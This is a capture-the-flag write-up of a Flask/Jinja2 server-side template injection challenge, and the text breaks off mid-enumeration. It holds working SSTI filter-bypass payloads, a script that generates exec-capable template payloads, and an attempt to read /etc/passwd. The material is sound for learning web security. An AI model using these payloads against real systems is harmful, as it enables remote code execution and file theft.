TMHC CTF 2019 - Write-ups

Information#

CTF#

200 - BoneChewerCon - Web#

The devil is enticing us to commit some SSTI feng shui, would you be interested in doing so?

By entering {{ 7*7 }} as a name, eg. http://docker.hackthebox.eu:30402/?name=%7B%7B+7*7+%7D%7D

we can see 49 displayed so the SSTI is effective.

Now let's get real: {{ config }}:

<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>

Also by looking at the source we can request http://docker.hackthebox.eu:30402/debug

from flask import Flask, Response, render_template, request, render_template_string
from re import compile, escape, search
from functools import wraps

app = Flask(__name__)

def verification(f):
  @wraps(f)
  def check(*a, **kw):
    forbidden = ['[', '_', '.']
    name = request.args.get('name', None)
    if name:
      regex = compile('|'.join(map(escape, forbidden))) 
      matches = regex.findall(name)
      if matches: return render_template_string(kick(set(matches)))
      return render_template_string(reservation(name))
    return f(*a, **kw)
  return check

def kick(reason):
  HTML = '{% extends "index.html" %}{% block content %}'
  HTML += '<h3>The devil did not like {% raw %}' + ', '.join(reason) + '{% endraw %}.</h3>'
  HTML += '{% endblock %}'
  return HTML

def reservation(name):
  HTML = '{{% extends "index.html" %}}{{% block content %}}'
  HTML += 'Thank you for registering, {name}</br>'
  HTML += '{{% endblock %}}'
  return HTML.format(name=name)

@app.route('/')
@verification
def index():
  return render_template('index.html')

@app.route('/debug')
def debug():
  return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=1337, threaded=True)

Personal Note: python flask again and ever... boring...

Each time I try to use dir() it ends with a 500 error. I can't directly request request.environ because either . or [ are forbidden.

I had a lot of reading:

Then I understood I could transform {{request.environ}} into {{request|attr("environ")}}, it's making use of a Jinja filter to bypass the dot restriction:

{'wsgi.multiprocess': False, 'HTTP_REFERER': 'http://docker.hackthebox.eu:30402/?name={{request|attr([%22_%22*2,%22class%22,%22_%22*2]|join)}}', 'SERVER_SOFTWARE': 'Werkzeug/0.16.0', 'SCRIPT_NAME': '', 'REQUEST_METHOD': 'GET', 'PATH_INFO': '/', 'SERVER_PROTOCOL': 'HTTP/1.1', 'QUERY_STRING': 'name=%7B%7Brequest%7Cattr%28%22environ%22%29%7D%7D', 'werkzeug.server.shutdown': <function shutdown_server at 0x7f149c74bb50>, 'HTTP_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0', 'HTTP_CONNECTION': 'close', 'HTTP_COOKIE': '_ga=GA1.2.138819373.1553539893; __auc=d90e700c16a88bd85dc007969d9; _gid=GA1.2.2126054964.1576285914', 'SERVER_NAME': '0.0.0.0', 'REMOTE_PORT': 55208, 'wsgi.url_scheme': 'http', 'SERVER_PORT': '1337', 'werkzeug.request': <Request 'http://docker.hackthebox.eu:30402/?name=%7B%7Brequest%7Cattr%28%22environ%22%29%7D%7D' [GET]>, 'wsgi.input': <socket._fileobject object at 0x7f149c74be50>, 'HTTP_HOST': 'docker.hackthebox.eu:30402', 'wsgi.multithread': True, 'HTTP_UPGRADE_INSECURE_REQUESTS': '1', 'REQUEST_URI': '/?name=%7B%7Brequest%7Cattr%28%22environ%22%29%7D%7D', 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'wsgi.version': (1, 0), 'RAW_URI': '/?name=%7B%7Brequest%7Cattr%28%22environ%22%29%7D%7D', 'wsgi.run_once': False, 'wsgi.errors': <open file '<stderr>', mode 'w' at 0x7f149d6ec270>, 'REMOTE_ADDR': '10.255.0.2', 'HTTP_ACCEPT_LANGUAGE': 'en-US,en;q=0.5', 'HTTP_ACCEPT_ENCODING': 'gzip, deflate'}

So I can get use of |attr to use an object attribute and array.pop(0) instead of array[0]. But since . is forbidden too I must use |attr("pop")(0). I can also use |list to convert anything as a list, |string to cast to a string, |join to convert from an array/list to a string, etc.

Here is a list of tricks and findings I managed to find by myself:

  • {{config|list|attr("pop")(0)|list|attr("pop")(0)}}
    • => J
  • {{request|attr("args")|list|attr("pop")(1)}}&__class__=
    • => __class__
  • {{request|attr("args")|list|attr("pop")(0)}}&''.__class__=
    • => ''.__class__
  • {{request|attr("args")|attr("a")}}&a=__class__
    • => doesn't work
  • {{request|attr(request|attr("args")|attr("param"))}}&param=__class__
    • => doesn't work
  • {{open('/etc/passwd','r')|attr("read")()}}
    • => error 500
  • {{request|attr(request|attr("args")|list|attr("pop")(1))}}&__class__=
    • => <class 'flask.wrappers.Request'>
  • {{{}|attr(request|attr("args")|list|attr("pop")(1))}}&__class__=
    • => <type 'dict'>
  • same buy way shorther than previous payload:
    • {{dict}}
  • {{{}|attr(request|attr("args")|list|attr("pop")(1))|attr("get")("open")}}&__class__=
    • => error 500
  • {{'Y29uZmln'|b64decode}}
    • => error 500
  • {{ "%s - %s"|format(request|attr("args")|list|attr("pop")(0), "Foo!") }}&''.__class__
    • => _ and . blocked because format is evaluated before the blacklist is applied

To be able to look at GET arguments position to know their order I used this payload: {{request|attr("args")}}&__class__=&__mro__ => ImmutableMultiDict([('__class__', u''), ('name', u'{{request|attr("args")}}'), ('__mro__', u'')])

I can use {}.get("key") rather than, {}["key"] But since . is forbidden too I must use {}|attr("get")("key").

I took a look at Jinja2 builtin filters list but saw nothing able to read a file or execute commands directly.

So let's try some classical pyjail techniques:

>>> type(open)
<class 'builtin_function_or_method'>
>>> {}.__class__.__mro__[1].__subclasses__()[37]
<class 'builtin_function_or_method'>
>>> dir({}.__class__.__mro__[1].__subclasses__()[99].__subclasses__()[2].__subclasses__()[2])
['__abstractmethods__', '__class__', '__del__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__next__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_abc_impl', '_checkClosed', '_checkReadable', '_checkSeekable', '_checkWritable', 'close', 'closed', 'detach', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'newlines', 'read', 'readable', 'readline', 'readlines', 'seek', 'seekable', 'tell', 'truncate', 'writable', 'write', 'writelines']
>>> dir({}.__class__.__mro__[1].__subclasses__()[99].__subclasses__()[2].__subclasses__()[2]('/etc/passwd'))
['__abstractmethods__', '__class__', '__del__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__next__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_abc_impl', '_checkClosed', '_checkReadable', '_checkSeekable', '_checkWritable', 'close', 'closed', 'detach', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'newlines', 'read', 'readable', 'readline', 'readlines', 'seek', 'seekable', 'tell', 'truncate', 'writable', 'write', 'writelines']

From my last reading I found a pretty useful PoC to dynamically generate a list of Flask classes that can lead to a specific module.

import os

from flask import Flask

app = Flask(__name__)
@app.route('/ssti')
def ssti():
    op=[]
    for i in {}.__class__.__base__.__subclasses__():
        if '<class' in str(i):
            try:
                modules = i.__init__.__globals__.keys() # lookup from global
                for module in modules:
                    if 'os' == module:
                        op.append(i)
            except:
                pass
    print(op)
    return str(op)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000,debug=True)

Here is the list of class from Flask context that can lead to os.

[<class 'jinja2.environment.Environment'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.bccache.Bucket'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'ssl.SSLObject'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'asyncio.coroutines.CoroWrapper'>, <class 'asyncio.events.Handle'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.BaseRequestHandler'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookieJar'>, <class 'uuid.UUID'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'werkzeug.debug.tbtools.Line'>, <class 'werkzeug.debug.tbtools.Traceback'>, <class 'werkzeug.debug.tbtools.Group'>, <class 'werkzeug.debug.tbtools.Frame'>, <class 'werkzeug.debug._ConsoleFrame'>, <class 'werkzeug.debug.DebuggedApplication'>, <class 'werkzeug._reloader.ReloaderLoop'>, <class 'watchdog.observers.inotify_c.Inotify'>, <class 'watchdog.observers.inotify_c.InotifyEvent'>, <class 'watchdog.events.FileSystemEvent'>]

Here is the list of class from Flask context that can lead to open.

[<class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class 'tokenize.Untokenizer'>]

But I even saw that <class 'os._wrap_close'> is directly accessible from <type 'object'> sub-classes: {}.__class__.__mro__[1].__subclasses__()[132].

Let's check what's inside:

>>> {}.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.keys()
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'abc', 'sys', 'st', '__all__', '_exists', '_get_exports_list', 'name', 'linesep', 'stat', 'access', 'ttyname', 'chdir', 'chmod', 'fchmod', 'chown', 'fchown', 'lchown', 'chroot', 'ctermid', 'getcwd', 'getcwdb', 'link', 'listdir', 'lstat', 'mkdir', 'nice', 'getpriority', 'setpriority', 'posix_spawn', 'posix_spawnp', 'readlink', 'copy_file_range', 'rename', 'replace', 'rmdir', 'symlink', 'system', 'umask', 'uname', 'unlink', 'remove', 'utime', 'times', 'execv', 'execve', 'fork', 'register_at_fork', 'sched_get_priority_max', 'sched_get_priority_min', 'sched_getparam', 'sched_getscheduler', 'sched_rr_get_interval', 'sched_setparam', 'sched_setscheduler', 'sched_yield', 'sched_setaffinity', 'sched_getaffinity', 'openpty', 'forkpty', 'getegid', 'geteuid', 'getgid', 'getgrouplist', 'getgroups', 'getpid', 'getpgrp', 'getppid', 'getuid', 'getlogin', 'kill', 'killpg', 'setuid', 'seteuid', 'setreuid', 'setgid', 'setegid', 'setregid', 'setgroups', 'initgroups', 'getpgid', 'setpgrp', 'wait', 'wait3', 'wait4', 'waitid', 'waitpid', 'getsid', 'setsid', 'setpgid', 'tcgetpgrp', 'tcsetpgrp', 'open', 'close', 'closerange', 'device_encoding', 'dup', 'dup2', 'lockf', 'lseek', 'read', 'readv', 'pread', 'preadv', 'write', 'writev', 'pwrite', 'pwritev', 'sendfile', 'fstat', 'isatty', 'pipe', 'pipe2', 'mkfifo', 'mknod', 'major', 'minor', 'makedev', 'ftruncate', 'truncate', 'posix_fallocate', 'posix_fadvise', 'putenv', 'unsetenv', 'strerror', 'fchdir', 'fsync', 'sync', 'fdatasync', 'WCOREDUMP', 'WIFCONTINUED', 'WIFSTOPPED', 'WIFSIGNALED', 'WIFEXITED', 'WEXITSTATUS', 'WTERMSIG', 'WSTOPSIG', 'fstatvfs', 'statvfs', 'confstr', 'sysconf', 'fpathconf', 'pathconf', 'abort', 'getloadavg', 'urandom', 'setresuid', 'setresgid', 'getresuid', 'getresgid', 'getxattr', 'setxattr', 'removexattr', 'listxattr', 'get_terminal_size', 'cpu_count', 'get_inheritable', 'set_inheritable', 'get_blocking', 'set_blocking', 'scandir', 'fspath', 'getrandom', 'memfd_create', 'environ', 'F_OK', 'R_OK', 'W_OK', 'X_OK', 'NGROUPS_MAX', 'TMP_MAX', 'WCONTINUED', 'WNOHANG', 'WUNTRACED', 'O_RDONLY', 'O_WRONLY', 'O_RDWR', 'O_NDELAY', 'O_NONBLOCK', 'O_APPEND', 'O_DSYNC', 'O_RSYNC', 'O_SYNC', 'O_NOCTTY', 'O_CREAT', 'O_EXCL', 'O_TRUNC', 'O_LARGEFILE', 'O_PATH', 'O_TMPFILE', 'PRIO_PROCESS', 'PRIO_PGRP', 'PRIO_USER', 'O_CLOEXEC', 'O_ACCMODE', 'SEEK_HOLE', 'SEEK_DATA', 'O_ASYNC', 'O_DIRECT', 'O_DIRECTORY', 'O_NOFOLLOW', 'O_NOATIME', 'EX_OK', 'EX_USAGE', 'EX_DATAERR', 'EX_NOINPUT', 'EX_NOUSER', 'EX_NOHOST', 'EX_UNAVAILABLE', 'EX_SOFTWARE', 'EX_OSERR', 'EX_OSFILE', 'EX_CANTCREAT', 'EX_IOERR', 'EX_TEMPFAIL', 'EX_PROTOCOL', 'EX_NOPERM', 'EX_CONFIG', 'ST_RDONLY', 'ST_NOSUID', 'ST_NODEV', 'ST_NOEXEC', 'ST_SYNCHRONOUS', 'ST_MANDLOCK', 'ST_WRITE', 'ST_APPEND', 'ST_NOATIME', 'ST_NODIRATIME', 'ST_RELATIME', 'POSIX_FADV_NORMAL', 'POSIX_FADV_SEQUENTIAL', 'POSIX_FADV_RANDOM', 'POSIX_FADV_NOREUSE', 'POSIX_FADV_WILLNEED', 'POSIX_FADV_DONTNEED', 'P_PID', 'P_PGID', 'P_ALL', 'WEXITED', 'WNOWAIT', 'WSTOPPED', 'CLD_EXITED', 'CLD_DUMPED', 'CLD_TRAPPED', 'CLD_CONTINUED', 'F_LOCK', 'F_TLOCK', 'F_ULOCK', 'F_TEST', 'RWF_DSYNC', 'RWF_HIPRI', 'RWF_SYNC', 'RWF_NOWAIT', 'POSIX_SPAWN_OPEN', 'POSIX_SPAWN_CLOSE', 'POSIX_SPAWN_DUP2', 'SCHED_OTHER', 'SCHED_FIFO', 'SCHED_RR', 'SCHED_BATCH', 'SCHED_IDLE', 'SCHED_RESET_ON_FORK', 'XATTR_CREATE', 'XATTR_REPLACE', 'XATTR_SIZE_MAX', 'RTLD_LAZY', 'RTLD_NOW', 'RTLD_GLOBAL', 'RTLD_LOCAL', 'RTLD_NODELETE', 'RTLD_NOLOAD', 'RTLD_DEEPBIND', 'GRND_RANDOM', 'GRND_NONBLOCK', 'MFD_CLOEXEC', 'MFD_ALLOW_SEALING', 'MFD_HUGETLB', 'MFD_HUGE_SHIFT', 'MFD_HUGE_MASK', 'MFD_HUGE_64KB', 'MFD_HUGE_512KB', 'MFD_HUGE_1MB', 'MFD_HUGE_2MB', 'MFD_HUGE_8MB', 'MFD_HUGE_16MB', 'MFD_HUGE_32MB', 'MFD_HUGE_256MB', 'MFD_HUGE_512MB', 'MFD_HUGE_1GB', 'MFD_HUGE_2GB', 'MFD_HUGE_16GB', 'pathconf_names', 'confstr_names', 'sysconf_names', 'error', 'waitid_result', 'stat_result', 'statvfs_result', 'sched_param', 'times_result', 'uname_result', 'terminal_size', 'DirEntry', '_exit', 'path', 'curdir', 'pardir', 'sep', 'pathsep', 'defpath', 'extsep', 'altsep', 'devnull', 'supports_dir_fd', 'supports_effective_ids', 'supports_fd', 'supports_follow_symlinks', 'SEEK_SET', 'SEEK_CUR', 'SEEK_END', 'makedirs', 'removedirs', 'renames', 'walk', 'fwalk', '_fwalk', 'execl', 'execle', 'execlp', 'execlpe', 'execvp', 'execvpe', '_execvpe', 'get_exec_path', 'MutableMapping', '_Environ', '_putenv', '_unsetenv', 'getenv', 'supports_bytes_environ', 'environb', 'getenvb', 'fsencode', 'fsdecode', 'P_WAIT', 'P_NOWAIT', 'P_NOWAITO', '_spawnvef', 'spawnv', 'spawnve', 'spawnvp', 'spawnvpe', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe', 'popen', '_wrap_close', 'fdopen', '_fspath', 'PathLike'])

>>> {}.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['open']
<built-in function open>

But unfortunatly:

>>> {}.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['open']('/etc/passwd').read()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: open() missing required argument 'flags' (pos 2)
>>> {}.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['open']('/etc/passwd','r').read()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: an integer is required (got type str)

Let's try a different way, another PoC from my last reading to list classes from any contaxt that can lead to a dangerous function.

# coding=utf-8
# python 3.8
from flask import Flask, Response, render_template, request, render_template_string
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(str(index),i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

Let's pick of class that looks cool:

$ python list.py <<<0 | grep Namespace
95 _NamespacePath : __init__ eval
95 _NamespacePath : __init__ open
95 _NamespacePath : __init__ exec
95 _NamespacePath : __repr__ eval
95 _NamespacePath : __repr__ open
95 _NamespacePath : __repr__ exec
95 _NamespacePath : __len__ eval
95 _NamespacePath : __len__ open
95 _NamespacePath : __len__ exec
95 _NamespacePath : __getitem__ eval
95 _NamespacePath : __getitem__ open
95 _NamespacePath : __getitem__ exec
95 _NamespacePath : __setitem__ eval
95 _NamespacePath : __setitem__ open
95 _NamespacePath : __setitem__ exec
95 _NamespacePath : __iter__ eval
95 _NamespacePath : __iter__ open
95 _NamespacePath : __iter__ exec
95 _NamespacePath : __contains__ eval
95 _NamespacePath : __contains__ open
95 _NamespacePath : __contains__ exec
96 _NamespaceLoader : __init__ eval
96 _NamespaceLoader : __init__ open
96 _NamespaceLoader : __init__ exec
221 Namespace : __init__ eval
221 Namespace : __init__ open
221 Namespace : __init__ exec
221 Namespace : __repr__ eval
221 Namespace : __repr__ open
221 Namespace : __repr__ exec
221 Namespace : __getattribute__ eval
221 Namespace : __getattribute__ open
221 Namespace : __getattribute__ exec
221 Namespace : __setitem__ eval
221 Namespace : __setitem__ open
221 Namespace : __setitem__ exec

So our goal is to obfuscate a payload that looks like this one to bypass the character limitations.

[].__class__.__base__.__subclasses__()[221].__init__.__globals__['__builtins__'].exec("[evil]")

I put all the required methods that would be forbidden because of the underscore in arguments so I can access them from request.args.

{{request|attr("args")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=&__name__= => ImmutableMultiDict([('__subclasses__', u''), ('name', u'{{request|attr("args")}}'), ('__builtins__', u''), ('__base__', u''), ('__class__', u''), ('__globals__', u''), ('__name__', u''), ('__init__', u'')])

But it seems I don't have the same context on my side than the server.

So I used this payload to enumerate on the server (which is equivalent to [].__class__.__base__.__subclasses__()):

{{{}|attr(request|attr("args")|list|attr("pop")(4))|attr(request|attr("args")|list|attr("pop")(3))|attr(request|attr("args")|list|attr("pop")(0))()}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=

And I got:

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'functools.partial'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'Struct'>, <type '_json.Scanner'>, <type '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <type 'time.struct_time'>, <class 'threading._Verbose'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'string.Template'>, <class 'string.Formatter'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <type '_hashlib.HASH'>, <class 'jinja2.nodes.Node'>, <type '_random.Random'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'numbers.Number'>, <class 'decimal.Decimal'>, <class 'decimal._ContextManager'>, <class 'decimal.Context'>, <class 'decimal._WorkRep'>, <class 'decimal._Log10Memoize'>, <type '_ast.AST'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'logging.LogRecord'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <type 'select.epoll'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'email.LazyImporter'>, <class 'calendar.Calendar'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 